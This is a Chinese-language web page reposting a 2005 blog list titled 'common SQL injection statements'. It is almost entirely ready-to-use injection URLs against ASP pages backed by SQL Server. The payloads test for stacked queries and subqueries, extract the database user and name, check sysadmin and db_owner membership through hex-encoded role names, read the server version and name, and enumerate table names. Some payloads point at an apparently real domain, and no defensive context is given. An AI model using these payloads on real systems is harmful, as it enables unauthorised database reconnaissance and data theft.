Your Ad Here
首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 编程语言 > .NET > VB.NET > SQL 注入有常用语句
【标  题】:SQL 注入有常用语句
【关键字】:SQL
【来  源】:http://goodspeed.cnblogs.com/archive/2005/01/14/91912.html

SQL 注入有常用语句

Your Ad Here

是否支持多句查询
http://www.xxx.com/xxxnews/shownews.asp?id=51;declare @a int--

是否支持子查询
http://www.xxx.com/xxxnews/shownews.asp?id=51 and (Select count(1) from [sysobjects])>=0

返回用户名
http://www.xxx.com/xxxnews/shownews.asp?id=51 And user%2Bchar(124)=0

当前用户是否为 sysadmin 固定服务器角色的成员。
http://www.xxx.com/xxxnews/shownews.asp?id=51 And Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1

PS:0x730079007300610064006D0069006E00 = sysadmin

当前用户是否为 db_owner 固定数据库角色的成员
http://www.xxx.com/xxxnews/shownews.asp?id=51 And Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) as varchar(1))%2Bchar(124)=1

0x640062005F006F0077006E0065007200 = db_owner

返回数据库名
http://www.xxx.com/xxxnews/shownews.asp?id=51 And db_name()%2Bchar(124)=0

操作系统和SQLserver版本
http://www.99568.com/99568news/shownews.asp?id=51 And @@version = 1

本地服务器名称
http://www.99568.com/99568news/shownews.asp?id=51 And @@SERVERNAME = 1

http://www.xxx.com.cn/newhomelink/site/News/Content.asp?NewsID=1077  And (Select Top 1 cast(name as varchar(8000)) from(Select Top 1 id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0 --第一个表名

[SQL]中使用联接:【上一篇】
WebControl示例:【下一篇】
【相关文章】
  • [SQL]中使用联接
  • 在SQL Server中,不使用“SQL 邮件”的情况下发送邮件
  • SQL server 2005 中的分区表(代码示例)
  • SQL server 2005中新增的排序函数及应用
  • 在ASP.NET中使用WINDOWS验证方式连接SQL SERVER数据库
  • 使用sqlServer开发应用程序时要注意的10件事
  • [哭]使用Data Access 2 插入Ntext类型数据时SqlParameter不指定类型的问题 , ,请为我解惑
  • Feature Pack for Microsoft SQL Server 2005[下载]
  • ASP.NET Theme/aspnet_regiis -ga/aspnet_regsql
  • Visual Studio 2005 Team Edition和SQL Server 2005的下载
  • 【随机文章】
  • 299! 探讨微软理想中的制敌之策
  • 关于volatile关键字的说明
  • shell学习笔记3:shell中的命令
  • three trim function(javascript)
  • 对光驱和软驱实现Automount
  • 利用AS控制声音教程
  • MySQL触发程序
  • 新手必知 硬盘分区方案大放送
  • 大学生宿舍——中国最昂贵的房价
  • 将CAD图形导入Coreldraw的实用方法
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 bbb软讯网络 All Rigths Reserved.